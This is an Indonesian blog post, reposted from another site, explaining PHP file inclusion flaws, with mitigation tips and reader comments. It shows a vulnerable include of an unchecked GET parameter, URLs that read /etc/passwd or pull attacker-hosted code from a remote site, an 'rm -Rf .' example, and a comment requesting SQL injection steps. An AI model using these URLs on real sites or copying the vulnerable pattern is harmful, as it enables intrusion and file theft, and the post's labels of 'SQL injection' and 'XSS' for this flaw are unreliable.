sql injection atau code injection - Bimo Septyo Prabowo lahir di Jakarta besar di Jakarta

Sunday, January 14, 2007

sql injection atau code injection

Masalah Code Injection

dikutip dari:
http://www.daunsalam.net/artikel/codeinjection.htm
maaf tidak ada bahasa inggrinya kepanjangan

Mohon Perhatian. Artikel ini berisi informasi layaknya pisau bermata dua. Maksud utamanya adalah menjelaskan salah satu masalah dalam menulis kode program dengan PHP. Tentu setelah itu, bisa menjadi perhatian agar berhati-hati. Namun otomatis, ini juga memberi pelajaran bagaimana caranya "menggunakan" kelemahan tersebut untuk hal yang bersifat merusak. Dan sungguh, saya mengharapkan tidak dimanfaatkan untuk hal negatif tersebut.
Kita mulai dengan sebuah potongan kode program PHP seperti berikut ini.


# file malam.php


echo "Hallo, Selamat Malam";
?>

# file halo.php


echo "Hallo, Apa Kabar?\n";
include "malam.php";
?>


Bila file halo.php diakses melalui browser, maka akan kita peroleh kalimat

Hallo, Apa Kabar?
Hallo, Selamat Malam


Dengan me-include-kan sebuah file php dalam file php lain, maka file tersebut juga akan dieksekusi. Jadi, seperti contoh di atas, maka dalam file halo.php di-include-kan file malam.php, sehingga kita juga memperoleh apa yang dilakukan oleh file malam.phpDemikian gambaran sederhana tentang melakukan include dalam program PHP.
Biasanya cara me-include-kan file lain dalam sebuah program PHP sangat sering dilakukan. Salah satu maksudnya adalah memudahkan dalam menghasilkan sebuah halaman web. Sebuah file php, misalnya bertugas khusus menjadi kerangka untuk file php yang lain. Dan dalam prakteknya tinggal panggil file kerangka ini, lalu kirim variabel ke file tersebut yang berisi nama file lain yang akan ikut ditampilkan melalui file kerangka ini.
Kecelakaan lalu timbul, karena nama file yang akan diikutkan tersebut dikirim melalui variabel dari luar, misal GET atau POST. Dilengkapi dengan kelalaian tidak melakukan pemeriksaan terlebih dahulu terhadap variabel yang masuk ini, maka celah untuk code injection sudah mulai terbuka. Biasanya berbentuk seperti berikut ini

# file komentar.php
$fileisi = $HTTP_GET_VARS['f'];
include "$fileisi";
//... kode-kode lain
?>

Untuk mengakses komentar.php di atas, pada addres bar browser akan ditulis seperti ini
http://situskorban.com/komentar.php?f=hal2.php


maka ditampilkanlah pada browser data yang ada dalam file hal2.php tersebut. Dengan keadaan di atas, maka orang yang mengakses situs tersebut, bisa saja mengganti hal2.php dengan sesuatu yang lain. Misalnya hal2.php diganti dengan /etc/passwd seperti berikut


http://situskorban.com/komentar.php?f=/etc/passwd


menurut anda apa yang akan tampil pada halaman browser anda ? Jika file /etc/passwd tersebut bisa dibaca oleh PHP, maka artinya isi file tersebut akan muncul di browser. Jelas ini sebuah masalah. Ada sekian banyak orang "tertarik" dengan hal-hal semacam ini, dan kita perlu waspada.
Sampai pada bagian ini, kita bisa melihat bahayanya adalah orang lain bisa memanfaatkan celah tersebut untuk melihat berbagai file yang mungkin untuk diakses oleh script yang bermasalah tersebut. Kalau kebetulan seseorang tersebut bisa menemukan file yang berisi user dan password. Aha! Itu dia.
Sekarang kita lanjutkan ceritanya. Jika opsi untuk allow_url_fopen pada file konfigurasi PHP bernilai true (dan default untuk nilai ini memang true) disinilah ancaman itu semakin menganga lebar. Kita kembali ke contoh di atas.

http://situskorban.com/komentar.php?f=http://esek2.com/index.htm


Nah sekarang kita bisa melihat web http://esek2.com/index.htm
berada dalam situs
http://situskorban.com/komentar.php

Lalu di mana bahanya ? Kalau hanya menampilkan situs lain, dan itupun hanya kita sendiri yang terkena dampaknya, tentu tidak ada bahaya. Sebab dengan cara di atas tidak ada perubahan permanen terjadi. Jadi, sampai di sini juga belum ada apa-apanya.
Sekarang kita buat skenario begini. Kita buat sebuah file php yang isinya sederhana saja, misal

# file info.php
php
phpinfo();
?>



Dan kebetulan lagi kita punya sebuah situs, misalnya kita sebut situs A yang bisa kita isi dengan file ini. Jadi dengan mengakses ke situs A, seperti berikut ini, kita akan memperoleh informasi PHP pada server situs A.

http://situsA.com/info.php


Lalu, kembali ke situskorban.com yang memiliki celah tadi,
http://situskorban.com/komentar.php?f=http://situsA.com/info.php


Kita akan mendapatkan halaman tersebut berisi info php yang ternyata masih merupakan info php situsA. Jadi tak ada bahaya. Mengapa ? Karena ketika permintaan dilakukan oleh situskorban.com ke situsA, maka situsA memperlakukan file info.php sebagai file php yang harus dieksekusi terlebih dahulu, baru kemudian hasilnya diberikan ke situskorban.com
Dan ini dia masalah itu. Sekarang ganti nama file tadi misalnya dengan info.tes. Lalu akses situskorban dengan cara berikut

http://situskorban.com/komentar.php?f=http://situsA.com/info.tes


Bla! sekarang yang muncul adalah info php dari situskorban. Ini artinya kita sudah bisa menyusupkan script php agar berjalan di situskorban. Coba bayangkan lagi, jika isi dari info.tes tadi adalah script untuk mengganti isi file lain, atau isinya hanyalah sebuah perintah berupa `rm -Rf .` Bisa kiamat! Kira-kira inilah yang bisa disebut dengan Code Injection melalui XSS (Cross Site Scripting)
Antisipasi
Berikut ini cara yang mungkin untuk menghindari kasus seperti di atas :

Beri perhatian serius terhadap variabel yang datangnya dari luar.
Hati-hati terhadap variabel yang datangnya dari luar.
Periksa dengan teliti terhadap variabel yang datangnya dari luar.
Sekali lagi, awas variabel yang datang dari luar :) (Paranoid nih...)
Sebaiknya tidak langsung menggunakan variabel dari luar untuk dieksekusi. Untuk kasus di atas, bisa saja variabel dari luar hanya berupa angka, lalu lakukan swicth untuk memilih halaman yang akan di-include berdasarkan angka tersebut. Jika angka tak valid, langsung saja ke halaman standar, misal menampilkan index.php

3 comments:

Unknown said...

alah postingan koq copy paste
bisa kena hukuman lho bim
inget blog juga karya seni bukan sekedar copy paste

klo mo copy paste harus izin dulu

Anonymous said...

kepanjangan mas lebih baik langsung langkah2 gunain code SQl nya misal nginjek ''or a=a'1' gitu terus terangin tuh kode dan macamnya dan gimana akibatnya dan paling penting cara buatnya he_he..

Anonymous said...

Good post.